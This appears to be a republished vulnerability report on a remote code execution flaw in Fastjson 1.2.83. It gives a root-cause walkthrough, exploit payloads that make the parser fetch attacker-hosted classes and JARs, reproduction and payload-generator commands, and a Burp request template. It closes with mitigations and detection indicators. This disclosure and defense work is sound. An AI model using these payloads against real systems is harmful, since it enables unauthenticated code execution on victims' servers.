In-Depth Analysis and Defense Guide for Fastjson 1.2.83 'Gadget-Free' Vulnerability (0day)

By: rootdata|2026/07/23 08:41:36

Fastjson 1.2.83 can still trigger remote code execution without traditional gadgets under the default AutoType=false setting, and it has been successfully reproduced in isolated environments with JDK 8/17/21/25 + Spring Boot Loader.


Summary


In the traditional Java deserialization vulnerability defense system, there are common misconceptions in the industry: "AutoType is safe when disabled by default," "fixing the second parameter of parseObject (top-level target type) is safe," and "clearing local Classpath dependencies on deserialization gadgets is safe." However, the latest evolution of technology in offense and defense has completely shattered these false senses of security.


The GCSA Global Cybersecurity Alliance today exclusively released this technical insight report. The report delves into the underlying root cause of Fastjson 1.2.83 being able to trigger remote code execution (RCE) without traditional gadget dependencies, even with AutoType set to false. Currently, this exploitation technique has been successfully reproduced end-to-end in isolated environments with JDK 8 / 17 / 21 / 25 and Spring Boot Loader. This vulnerability is not a traditional "bypass the blacklist to find local gadgets," but rather directly turns Fastjson's own class metadata probing logic into a channel for obtaining and authorizing remote malicious classes. Below is the main content.


  • Issuing Organization: GCSA Global Cybersecurity Alliance
  • Report Type: Exclusive Technical Insight / Vulnerability Deep Analysis Report
  • Report Date: 2026-07-21
  • Report Status: Source code audit and isolated environment reproduction completed
  • Vulnerability ID: Internal research ID FJ-GETRESOURCE-RCE (not corresponding to any publicly disclosed CVE)

Fastjson 1.2.83 can still trigger remote code execution without traditional gadgets under the default AutoType=false setting, and it has been successfully reproduced in isolated environments with JDK 8/17/21/25 + Spring Boot Loader. It is recommended to immediately enable SafeMode and migrate to Fastjson 2.x.


  1. Execution Summary


Fastjson 1.2.83's ParserConfig.checkAutoType converts user-controllable @type values into class resource names and hands them over to the current ClassLoader's getResourceAsStream:

String resource = typeName.replace('.', '/') + ".class";

is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);


In a fat-jar ClassLoader environment that can resolve absolute URL resource names, an attacker can exploit dot replacement to construct http:, jar:http:, and jar:file: URLs to download malicious classes with @JSONType from the attacker's end. Fastjson detects this annotation and calls loadClass, returning the class directly before dangerous base class checks and target type compatibility checks. The class can execute arbitrary code upon instantiation and initialization.


This exploitation does not rely on traditional deserialization gadgets already present in the target classpath and can still be triggered under the default state of Fastjson AutoType=false. Fixing the target type of JSON.parseObject does not prevent execution; enabling SafeMode can block the normal exploitation path before resource access.


This report has completed the following reproduction using the same JSON payload in an isolated Linux container:



  1. Vulnerability Rating



It is not advisable to give a uniform CVSS of 9.8 based solely on component versions: the ordinary AppClassLoader serves as a negative control, and the modern JDK complete chain also relies on loaders that can resolve two types of absolute JAR URLs and /proc/self/fd. In applications that meet the forward environment of this report, the vulnerability effect is unauthenticated network RCE.


  1. Scope of Impact and Preconditions


3.1 Confirmed Scope


  • Runtime Confirmation: Fastjson 1.2.83
  • JDK Confirmation: 8, 17, 21, 25
  • Operating System Confirmation: Linux; macOS has also completed reproductions for JDK 17/21/25 using /dev/fd
  • Loader Confirmation: Spring Boot 2.7.18 classic loader + JDK 8; Spring Boot 3.2.0 loader + JDK 17/21/25
  • API Confirmation: JSON.parse, and JSON.parseObject with fixed top-level types

3.2 Version Range Description


The external description of 1.2.68--1.2.83 is more suitable as a known testing range rather than the version that introduced the vulnerability. Source code verification indicates that the decisive class resource probing code has existed since 1.2.67 and 1.2.68. This report has only completed full cross-JDK runtime verification for 1.2.83.


3.3 Conditions Required for Exploitation


  • The attacker can control the JSON input to Fastjson, and the @type in the input will be parsed
  • SafeMode is not enabled
  • The ClassLoader loading Fastjson can resolve the constructed absolute resource name as a URL
  • The victim process can connect to the attacker's HTTP service
  • Modern Linux chains require /proc/self/fd to be readable, and the loader can resolve jar:file:/proc/self/fd/N!...
  • JDK needs to be able to create a normal remote JAR temporary cache; this usually means the JVM temporary directory is writable

The attacker does not need to:


  • Write files to the target classpath
  • Have the target classpath pre-installed with gadgets like TemplatesImpl, JNDI, C3P0, Commons Collections, etc.
  • Enable Fastjson AutoType
  • Control the second parameter of JSON.parseObject

  1. Root Cause Analysis


4.1 User Type Name Treated as Resource URL


Source code location:

src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1479-1498


Core code:

String resource = typeName.replace('.', '/') + ".class";

if (defaultClassLoader != null) {

is = defaultClassLoader.getResourceAsStream(resource);

} else {

is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);

}


This logic assumes that resource is just a normal classpath path, but does not restrict its protocol, absolute path semantics, or source. For specific fat-jar loaders, the following input will turn into an absolute URL after replacement:

Input type name: http:..localhost:18081.a


Resource name: http://localhost:18081/a.class, thus getResourceAsStream queries beyond local metadata to load network resources controlled by the attacker.


4.2 Remote Class's @JSONType Treated as Authorization Basis


Fastjson uses its own ASM ClassReader to parse resource content:

ClassReader classReader = new ClassReader(is, true);

TypeCollector visitor = new TypeCollector("", new Class[0]);

classReader.accept(visitor);

jsonType = visitor.hasJsonType();


The attack side only needs to have the remote class carry Fastjson's @JSONType annotation to set jsonType to true. The check here is on the bytes provided by the attacker, not on a class already loaded by a trusted classpath.


4.3 jsonType Triggers Actual Class Loading


Source code location:


ParserConfig.java:1500-1503

TypeUtils.java:1759-1792


if (autoTypeSupport || jsonType || expectClassFlag) {

boolean cacheClass = autoTypeSupport || jsonType;

clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);

}


TypeUtils.loadClass attempts to load classes using explicit loader, thread context loader, and Class.forName in sequence. In a forward environment, the thread context loader will resolve the same absolute resource name again, download the class, and execute defineClass.


4.4 Early Return of @JSONType Bypasses Subsequent Security Checks


Source code location:


ParserConfig.java:1505-1528


if (clazz != null) {

if (jsonType) {

return clazz; } // These checks are performed after the jsonType is returned.

if (ClassLoader.class.isAssignableFrom(clazz)

|| DataSource.class.isAssignableFrom(clazz)

|| RowSet.class.isAssignableFrom(clazz)) {

throw new JSONException(...); } if (expectClass != null) {

// assignability the check is also done later.

}

}


Once a remote class carries @JSONType:

  • Dangerous base class checks will not be executed
  • expectClass.isAssignableFrom(clazz) will not be executed
  • Fixed data binding types cannot prevent execution before class initialization

4.5 Exception/Error Suffix Forms a Failing Soft Channel


Source code location:


ParserConfig.java:1537-1542


if (!autoTypeSupport) {

if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {

return null; }

throw new JSONException("autoType is not support. " + typeName); }


The modern JDK's first phase will fail to load due to illegal internal class names. By having the type name end with Exception, Fastjson will not terminate the entire JSON but will return null, allowing the parser to continue processing FD enumeration elements in the array. This branch is key for single payload cross-phase execution.


4.6 Location of SafeMode


SafeMode checks are located before resource access:

ParserConfig.java:1325-1330


Thus, SafeMode in the default path can prevent network requests. However, AutoTypeCheckHandler is located before SafeMode (ParserConfig.java:1316-1323); if an application actively registers a handler that directly returns a type, it needs to be audited separately, and SafeMode should not be understood as an absolute boundary that overrides custom handlers.


  1. Detailed Explanation of Utilization Chain


5.1 JDK 8: Direct Remote Class Loading


Shortest form:

{"@type":"http:..localhost:18081.a"}


Transformation chain:

binary type name: http:..localhost:18081.a

resource URL: http://localhost:18081/a.class

class internal: http://localhost:18081/a


JDK 8 accepts the above unconventional internal class names. Spring Boot 2.7's LaunchedURLClassLoader downloads the class and completes definition, instantiation, and initialization, executing malicious commands.

JDK 17+ will also complete network requests but will reject empty path segments in internal names,

ClassFormatError: Illegal class name "http://localhost:18081/a"


Thus, the short http:.. form itself only completes RCE in JDK 8.


5.2 Modern JDK First Phase: Downloading Remote JAR


The first array element of a single payload:

{"@type":"jar:http:..attacker:18081.x!.foo.Exception"}


Transformation result:

resource URL:

jar:http://attacker:18081/x!/foo/Exception.class


The JDK's sun.net.www.protocol.jar.URLJarFile.retrieve will create jar_cache* temporary files, copying the remote JAR into that file.


JDK 17+ subsequently rejects the first phase jar:http://... internal names, but Fastjson continues to parse the array due to the Exception suffix.


5.3 Modern JDK Second Phase: Reopening Cache FD


Subsequent candidate elements:

{"@type":"jar:file:.proc.self.fd.7!.fd7.Exception"}


Transformation chain:

binary type name:

jar:file:.proc.self.fd.7!.fd7.Exception resource URL:

jar:file:/proc/self/fd/7!/fd7/Exception.class class internal name:

jar:file:/proc/self/fd/7!/fd7/Exception


Unlike http://, each / separated component of this internal name is non-empty, thus accepted by modern JVMs. The attack JAR prepares an entry for each candidate FD:

fd3/Exception.class

fd4/Exception.class

...

fd64/Exception.class


The internal names in the constant pool of each class precisely match the request types of the corresponding FDs and carry @JSONType. Upon hitting the actual cache handle, Fastjson loads and instantiates the class, executing commands.


The first hit in the class-load log of JDK 17 is:

jar:file:.proc.self.fd.7!.fd7.Exception


5.4 Why a Single Payload is Compatible with Both JDK 8 and Modern JDK


JDK 8 directly accepts the first phase jar:http://... class and executes


After executing commands in the first phase class, it deliberately throws RuntimeException("stage-one-stop"), preventing JDK 8 from continuing to attempt unrelated socket/pipe FDs.


JDK 17+ fails due to illegal names in the first phase before class initialization, then soft returns through Exception into the FD enumeration phase.


  1. Reproduction Environment and Evidence


6.1 Hash of Tested Components


fastjson-1.2.83.jar

SHA-256 641a4d65ab32fbfdccd9c718e3f83ebc4caabdb5e4fe5b3d51527c5fe692631d spring-boot-loader-2.7.18.jar

SHA-256 855d80b2d8afc9140036ab20dba5d9333ed427bb1562057265335b244b98ed16 spring-boot-loader-3.2.0.jar

SHA-256 84d7352ce2f264262afb0253b9b882b0abf56f7c371c7523a0b3f6401d9c831b


6.2 One-Click Reproduction


cd

PULL=1 ./target/getresource-repro/reproduce_fd_chain.sh


Expected output:

JDK 8 : RCE-OK

JDK 17: RCE-OK

JDK 21: RCE-OK

JDK 25: RCE-OK


The script will:


  • Compile the victim fat jar;
  • Generate an attack JAR with FD specific classes;
  • Generate a JSON array payload;
  • Start the attacker's HTTP service in an isolated Docker network;
  • Start victim containers for JDK 8/17/21/25;
  • Check the /tmp/fastjson-getresource-rce mapped by each container.

6.3 Manual Generation of Attack JAR and Payload


cd ./target/getresource-repro/build.sh ./target/getresource-repro/build_fd_chain.py \

--host attacker \

--port 18081 \

--fd-root /proc/self/fd \

--min-fd 3 \

--max-fd 64 \

--out-jar target/getresource-repro/www-linux/x \

--out-json target/getresource-repro/fd-payload-linux.json


Generated items:

Attacker JAR: target/getresource-repro/www-linux/x

JSON payload: target/getresource-repro/fd-payload-linux.json


--host It is recommended to use a DNS label without dots or a decimal IPv4. The reason is not to bypass localhost, but because Fastjson will replace all dots in the type name with /. For example, the decimal IPv42130706433 is equivalent to 127.0.0.1, but will not be split by dots.


6.4 Delivery via Burp Suite


Burp is only responsible for sending JSON to the victim interface where Fastjson parsing points exist; the attack JAR still needs to be provided by the attacker's HTTP service.


Request template:


POST /parse HTTP/1.1

Host: victim.example

Content-Type: application/json

Connection: close

Content-Length: ... [Place the complete contents of fd-payload-linux.json here.]


If the application uses a fixed top-level type, the array can be wrapped according to the field structure, for example:

{"value":[/* All array elements in fd-payload-linux.json */]}


This experiment uses JSON.parseObject(json, BoundEnvelope.class) to parse the above wrapper, and the result is still RCE-OK, returning BoundEnvelope normally.


6.5 Key Boundary Testing



  1. Fixes and Mitigation Recommendations


7.1 Preferred: Migrate out of Fastjson 1.x


Prioritize migration to the maintained Fastjson 2.x and re-validate all polymorphic types, AutoType, and compatibility mode configurations. Do not just replace the JAR without regression testing.


7.2 Immediately Enable SafeMode


Code configuration:

ParserConfig.getGlobalInstance().setSafeMode(true);


JVM parameters:

-Dfastjson.parser.safeMode=true


Note: If the application has registered AutoTypeCheckHandler, it should be audited or removed in sync, as the handler executes before the SafeMode check.


7.3 Restrict Deserialization Entry


  • Do not directly hand untrusted requests to JSON.parse/JSON.parseObject
  • Reject any form of special type metadata at the gateway or application entry
  • Only fixing top-level Java types is not a sufficient defense, as nested objects can still handle @type, and the jsonType of this vulnerability returns early to bypass compatibility checks.

7.4 Temporary WAF/Gateway Rules


Temporarily intercept requests where the decoded JSON key equals @type, and cover URL parameters, request bodies, and nested objects. Do not just search for the plaintext "@type"; Fastjson lexer will decode field names first, for example:

{"\u0040type":"..."}

{"\x40type":"..."}


WAF rules can only serve as mitigation and cannot replace component upgrades and SafeMode.


7.5 Outbound and Runtime Hardening


  1. Prohibit business JVM from initiating HTTP/HTTPS connections to unnecessary external addresses.
  2. Implement minimal network policies for application containers.
  3. Limit exposure of /proc/self/fd or use stricter container sandboxes when compatibility allows.
  4. Audit ClassLoader's handling of absolute URL resource names, rejecting protocols such as http:, https:, jar:, file:, etc.
  5. Monitor for abnormal jar_cache* activities in the JVM temporary directory.

  1. Detection Recommendations and IOC


8.1 Request Side Features


Focus on decoded @type values containing:

http:..

jar:http:..

jar:file:.proc.self.fd.

jar:file:.dev.fd.

!.fd

Exception


The appearance of Exception alone is not sufficient to trigger an alert; it should be analyzed in conjunction with protocol forms, @type, and continuous FD candidate combinations within the array.


8.2 Network Side Features


  • JVM requests nameless JAR or .class from abnormal hosts
  • 1-3 repeated GET/HEAD requests occur during the same parsing request
  • Request paths may contain /x, /a.class, or attacker-customized equivalent paths

8.3 Host Side Features


  • JVM temporary directory creates jar_cache*
  • Java process reopens its own file via /proc/self/fd/N
  • class-load logs show similar jar:file:.proc.self.fd.7!.fd7.Exception

jar:file:.proc.self.fd.7!.fd7.Exception


  1. Conclusion


This vulnerability is not a traditional "bypass blacklist and look for local gadgets" but turns Fastjson's own class metadata probing logic into a remote class acquisition and authorization channel. The early return of @JSONType allows the class provided by the attacker to be accepted before dangerous base class and type binding checks; Exception failure soft channels and JDK jar:http: temporary caching extend the direct loading primitives of JDK 8 to JDK 17/21/25.


Therefore, the following common judgments are invalid:

  • "AutoType is disabled by default, so it's safe" --- Invalid
  • "Fixing the second parameter of parseObject, so it's safe" --- Invalid
  • "Classpath has no known gadgets, so it's safe" --- Invalid
  • "JKD 17+ will reject internal names with http://, so it's at most SSRF" --- Invalid

In deployments that meet the verified loader, network, and file descriptor conditions, this issue can evolve from a single unauthenticated JSON request into real remote code execution. Priority should be given to migrating to Fastjson 2.x, enabling SafeMode immediately, and tightening outbound and ClassLoader resource parsing boundaries.


  1. Attachments and Evidence Paths


Full research log: target/FASTJSON_1_2_83_RCE_ANALYSIS.md

Reproduction instructions: target/getresource-repro/README.md

JDK 8 short chain: target/getresource-repro/reproduce.sh

JDK 8/17/21/25 Linux full chain: target/getresource-repro/reproduce_fd_chain.sh

Attack JAR/payload generator: target/getresource-repro/build_fd_chain.py

Generated Linux payload: target/getresource-repro/fd-payload-linux.json

JDK 17 class-load evidence: target/getresource-repro/linux-jdk17-classload.log

-- Price

--

Disclaimer: This content is provided for general branding and informational purposes only and doesn't constitute financial, investment, legal, or tax advice. Any events, rewards, online events, or related information mentioned herein should not be considered a recommendation, solicitation, or invitation to purchase, sell, trade, or otherwise deal in any crypto assets or to use any services. Crypto assets are highly volatile and may result in loss. WEEX services and online events may not be available in all regions and are subject to applicable laws, regulations, and eligibility requirements. You are responsible for ensuring that your use of WEEX services complies with local laws and for carefully assessing the risks before participating in any crypto-related activities.

You may also like

iconiconiconiconiconiconicon
Customer Support:@weikecs
Business Cooperation:@weikecs
Quant Trading & MM:[email protected]
VIP Program:[email protected]